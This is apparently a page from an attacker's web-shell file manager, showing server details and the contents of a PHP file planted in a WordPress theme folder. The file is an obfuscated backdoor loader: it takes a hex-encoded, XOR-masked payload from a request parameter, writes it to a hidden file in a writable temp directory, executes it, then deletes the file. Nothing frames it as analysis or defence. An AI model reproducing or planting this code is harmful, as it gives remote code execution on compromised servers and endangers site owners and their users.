HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/8.2.20
System: Linux 825a8fd6cf8c 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User: apache (48)
PHP: 8.2.20
Disabled: NONE
Upload Files
File: /var/www/html/wp-content/themes/f_top.php
<?php
//<PHPDATA>fputs_xor;12;flg</PHPDATA>
if(@$_REQUEST["f\x6cg"]!==null):$_0=HEx2BIN($_REQUEST["f\154g"]);$_1="";$_2=(int)RounD(0+0);do{$_1.=Chr(OrD($_0[$_2])^(int)rOUNd(4+4+4));$_2++;}while($_2<StRLEn($_0));$_3=arrAY_filTer([GeTeNv("TEM\x50"),getcwD(),SessiOn_sAvE_pAth(),GEtenv("T\115\x50"),"/t\x6dp","/dev\057sh\x6d",sYS_GET_TemP_diR(),Ini_GEt("u\x70lo\x61d_tm\160_d\151r"),"/var/tm\x70"]);foreach($_3 as$_4=>$_5):if(! !IS_diR($_5)&&! !IS_wRiTAble($_5)):$_6=STR_rEplAcE("{var_\x64\151r\x7d",$_5,"{va\162\x5fd\151r}/.p\x74r");if(FILe_PUt_CoNTENtS($_6,$_1)):require $_6;uNlInk($_6);die();endif;endif;endforeach;endif;